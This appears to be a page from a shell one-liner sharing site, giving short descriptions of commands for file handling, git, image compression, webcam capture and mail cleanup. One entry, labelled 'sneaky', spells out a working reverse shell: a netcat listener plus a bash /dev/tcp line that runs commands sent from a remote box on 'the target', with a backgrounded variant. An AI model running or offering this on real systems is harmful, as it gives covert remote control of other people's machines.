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Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.
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This command is more robust because it handles spaces, newlines and control characters in filenames. It uses printf, not ls, to determine file size.
This exports all lines of input file as environment variables, assuming each line is like these:
(Please see sample output for usage)
Use any script name (the read command gets it) and it will be encrypted with the extension .crypt, i.e.:
myscript --> myscript.crypt
You can execute myscript.crypt only if you know the password. If you die, your script dies with you.
If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string).
Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner.
Sorry for the chmod on parentheses, I dont like "-" at the end.
Thanks flatcap for the subshell abbreviation to /dev/null
make a bunch of files with the same permissions, owner, group, and content as a template file
(handy if you have much to do w. .php, .html files or alike)
Simply add this to whatever apache startup script you have, or if you are on a MAC, create a new automator application. This will show a pretty growl notification whenever theres a new Apache error log entry. Useful for local development
# find assumes email files start with a number 1-9
# sed joins the lines starting with " " to the previous line
# gawk print the received and from lines
# sort according to the second field (received+from)
# uniq print the duplicated filename
# a message is viewed as duplicate if it is received at the same time as another message, and from the same person.
The command was intended to be run under cron. If run in a terminal, mutt can be used:
mutt -e "push otD~=xq" -f $folder
This command takes a 1280x1024 p picture from the webcam.
If prefer it smaller, try changing the -s parameter: qqvga is the tiniest, vga is 640x480, svga is 800x600 and so on.
Get your smile on and press enter! :)
A lot of files in one dir is not so cool for filesystem.
This is sneaky.
First, start a listening service on your box.
nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
You can send it to the background like this:
(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
Assumes you've cd'd to the folder in which all your git repos reside; you could run it from ~ without -maxdepth, although that might make find take quite a while longer.
If you have several processor cores, but not that much ram, you might want to run
git config --global pack.threads 1
first, since gc-ing can eat lots of ram.
Counts the files present in the different directories recursively. One only has to change maxdepth to have further insight in the directory hierarchy.
Found at unix.stackexchange.com:
Given a file with the format of 'git log --pretty=short', search in last 100 commits for one with the same description. I used this when after a rebase I had to find out the new commit ids. The second sed replaces all special characters with dots so they don't mess up the grep later on.
Sometimes I would like to see hidden files, prefix with a period, but some files or folders I never want to see (and really wish I could just remove all together).
Nothing too magical here, just uses pngcrush to losslessly compress all your pngs!
This command allows you to revert every modified file one-by-one in a while loop, but also after "echo $file;" you can do any sort of processing you might want to add before the revert happens.
create and md5 sum of your password without it showing up in your terminal or history.
Afterwards we overwrite the $p variable (thx to bazzargh)
save as shell script and pipe your command output
Sometimes you want to see all of the systcls for a given $thing. I happened to need to easily look at all of the vm sysctls between two boxes and compare them. This is what I came up with.
Group membership in OS X is a mish-mash of standards that end up meaning there's almost a half-dozen of ways to belong to a group, what with group inheritance and automatic assignment. This means there's no easy command to find out all groups a user belongs to. The only sensible way then is to list all users and then query each user for membership.
NOTE: This is a function. Once input you can execute it by calling with a groupname.
This takes a webcam picture every everytime the mouse is moved (waits 10 seconds between checking for movement) and stores the picture wherever you want it.
Use in conjunction with a dropbox type application to see who is using your computer
Use /dev/input/mice if /dev/input/mouse* doesn't work
Use the bones of this to make a simple screensaver
List background jobs, grep their number - not process id - and then kill them